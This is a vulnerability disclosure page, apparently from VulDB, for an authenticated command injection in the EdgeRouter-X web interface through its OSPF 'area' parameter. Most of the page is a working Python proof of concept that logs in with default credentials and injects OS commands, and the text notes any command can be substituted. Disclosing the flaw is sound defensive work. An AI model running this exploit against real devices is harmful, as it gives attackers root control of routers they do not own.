Submit #99980: Command injection at the web management interface of EdgeRouter-x(3)info

TitleCommand injection at the web management interface of EdgeRouter-x(3)
Description# Command injection at the web management interface of EdgeRouter-x(3) ## Overview * Type: command injection * Supplier: UniFi (https://www.ui.com/) * Product: EdgeMax EdgeRouter-x, latest firmware version v2.0.9-hotfix.6 * Firmware download: https://www.ui.com/download/edgemax/edgerouter-x/er-x * Affect version: v2.0.9-hotfix.6 ## Overview of the Vulnerability A command injection vulnerability allows commands to be executed remotely on EdgeRouter-X by crafting a request within the web application where there should be no context to access or execute code. This command injection happened when configuring the OSPF function, the 'area' parameter will carry the user's data which isn't sanitized(corresponding to poc code line 67-68). With an elaborately crafted payload into the 'area' parameter, the device will execute the command in the payload. The vulnerability allows a malicious attacker authenticated on the web to execute commands on the device, enabling an attacker to gain the highest privilege of the system(ie. root privilege) and take over the device without any interaction. ## Steps to Reproduce I have put the PoC (exp.py) in the next section. Configure several parameters, and execute it, you will see an outputting ping echo from the target device(that is the injected command has been executed). The parameters are as below: 1. username, password: user who is the administrator on the web (default: ubnt, ubnt). 2. device_web_ip: web IP address of the target device. 3. ping_target: Usually configured as the local host. The device will send a ping echo to this host. ## Proof of Concept You can open Wireshark to monitor the ICMP flow. After executing the PoC, you will see a ping echo from the device to the 'ping_target' host. You can also set 'inject_cmd' to any other OS commands, such as 'touch /etc/test' will set up a file named 'test' under the critical directory '/etc'. Open the cli on the web to check the touched file. ``` import requests import json import time import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) username = 'ubnt' password = 'ubnt' device_web_ip = '192.168.1.1' ping_target = '192.168.1.5' inject_cmd = 'ping -c 1 ' + ping_target inject_cmd += ';echo test>/etc/test' phpsessid = '35a9f702c8c6486596c6b749a6fd9d1c' csrftoken = 'ca13a024a18598042d0d1323146ea18af8a44554eb8a68c7807a9cd6f5a6cca6' header ={ 'Host': '{}'.format(device_web_ip), 'User-Agent': 'dummy', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': '27', 'Origin': 'https://{}/'.format(device_web_ip), 'Connection': 'keep-alive', 'Referer': 'https://{}/'.format(device_web_ip), 'Cookie': 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken), 'Upgrade-Insecure-Requests': '1', 'Sec-Fetch-Dest': 'document', 'Sec-Fetch-Mode': 'navigate', 'Sec-Fetch-Site': 'same-origin', 'Sec-Fetch-User': '?1' } login_body = 'username={}&password={}'.format(username,password) login_url = 'https://{}/'.format(device_web_ip) loop = 3 r = None while loop>0: try: loop -= 1 r = requests.post(url=login_url,headers=header,data=login_body,\ timeout=5,verify=False,allow_redirects=False) if r is None or 'Set-Cookie' not in r.headers.keys(): print("Login failed.") time.sleep((3-loop)*3) else: break except Exception as e: print('Login error:{}'.format(e)) if r is None: print('Failed login,please check and retry!') exit(1) tmp:dict = requests.utils.dict_from_cookiejar(r.cookies) for k,v in tmp.items(): if 'PHPSESSID' == k: phpsessid = '{}'.format(v) elif 'X-CSRF-TOKEN' == k: csrftoken = '{}'.format(v) elif 'beaker.session.id' == k: sessionid = '{}'.format(v) cookie = 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken) param = {'SET': {'protocols': {'ospf': {'area': '__FORCE_ASSOC;{};'.format(inject_cmd)}}}, 'GET': {'protocols': {'ospf': None}}} victim_url = 'https://{}/api/edge/batch.json'.format(device_web_ip) victim_body = json.dumps(param) victim_header = { 'Host': '{}'.format(device_web_ip), 'User-Agent': 'dummy', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/json', 'X-CSRF-TOKEN': '{}'.format(csrftoken), 'X-Requested-With': 'XMLHttpRequest', 'Origin': 'https://{}/'.format(device_web_ip), 'Connection': 'keep-alive', 'Referer': 'https://{}/'.format(device_web_ip), 'Cookie': 'PHPSESSID={0};X-CSRF-TOKEN={1};ip_address_top_user_option=total_bytes;beaker.session.id={0}'.format(phpsessid,csrftoken), 'Sec-Fetch-Dest': 'empty', 'Sec-Fetch-Mode': 'cors', 'Sec-Fetch-Site': 'same-origin'} r = requests.post(url=victim_url,headers=victim_header,data=victim_body,\ timeout=5,verify=False,allow_redirects=False) print(r.status_code) ```
Userleetmoon (ID 42673)
Submission03/10/2023 08:40 (1 Year ago)
Moderation03/17/2023 08:33 (7 days later)
Accepted
Accepted
VulDB EntryVDB-223303

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!